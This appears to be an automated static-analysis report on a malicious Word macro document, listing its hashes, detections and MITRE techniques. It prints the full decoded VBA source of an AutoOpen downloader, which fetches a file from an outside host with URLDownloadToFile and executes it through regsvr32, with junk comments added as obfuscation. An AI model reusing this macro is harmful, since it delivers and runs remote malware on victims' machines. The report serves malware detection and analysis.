Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d21916b27b5efdd8…

MALICIOUS

Office (OOXML)

147.7 KB Created: 2020-07-08 23:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 10cb72a11b08464287de4f6386aa1804 SHA-1: 79fd474a39128136b5d056c2e52d4d573d59a330 SHA-256: d21916b27b5efdd803201119c97e5318019fff9715a428ec3ca7ded7c86e6e4c
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro. This macro utilizes the URLDownloadToFile function to download a file from 'the embedded link' and saves it as 'V0.tmp'. This indicates a downloader functionality, aiming to fetch and execute a secondary payload.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Accordance modifies
    Call URLDownloadToFile(0, "http://n2f79.com/iz5/yaca.php?l=kpt3.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "V0.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://n2f79.com/iz5/yaca.php?l=kpt3.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2428 bytes
SHA-256: 14f600cf7015964c0b853d74dd8cb3e5938201623164ad089672b861847944a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "V0.tmp"
Sub autoopen()

' Puny husky cylinder claudia perambulator secret cornwall
' Windsor margaret
' Investigate arran priceless lover extortion inadvertently
' Unix shaved admit pouch

' Outpost pay
' Airily amatory kruger digits
' Zum gym
' Accordance modifies
Call URLDownloadToFile(0, "http://n2f79.com/iz5/yaca.php?l=kpt3.cab", Vw, 0, 0)

' Enrich sensor intrusive coupled meetings transgressor
' Themes detector
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Australian elasticity
' Timber logos vacations
' Betrayal verbs

' She trucks crisis announce
' Leeds xenophon
' Sperm omnibus
' Brooded didactic operatives brandenburg lifelong ap

' Slick downhill poignant
' Misshapen dot receives hungry aback nag
' Technological istanbul
' Supervisors zigzag synthesis

' Censor
' Blackberry fascinating loophole knife
' Da travelers healer rolling councils
' Cologne contiguous score recent winner

' Unaccompanied cup defensive
' Snail
' Communicate tapioca assurance hacker
' Disorganized initiated
' Exemplar disks fuming

' Refraction evergreen mpegs
' Sacristan tat infection merge grad expired
' Wings tones curtail
' Api wildcat

' Transition indexed evans
' Arran vermont cover hoc
' Scanned aware caused kaleidoscope whitsuntide
' Irrelevant bray autobiography
' Governing
' Awe-struck amazon initiatives

' Overran seas lymph
' Pastime outdoor supra soluble
' Twiki mild pointer pdt workshops congestion paying
Dim pD As New WshShell

' Abilities peck
' Sunrise thicken
' Awareness dray fatten percent suddenly
pD.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal uB As LongPtr, ByVal UO As String, ByVal ky As String, ByVal Pi As LongPtr, ByVal tK As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal uB As Long, ByVal UO As String, ByVal ky As String, ByVal Pi As Long, ByVal tK As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: bcd502a7d108a8ec3208bd9a6b17d52dce2fb0509c2da00683e265b7a1a67415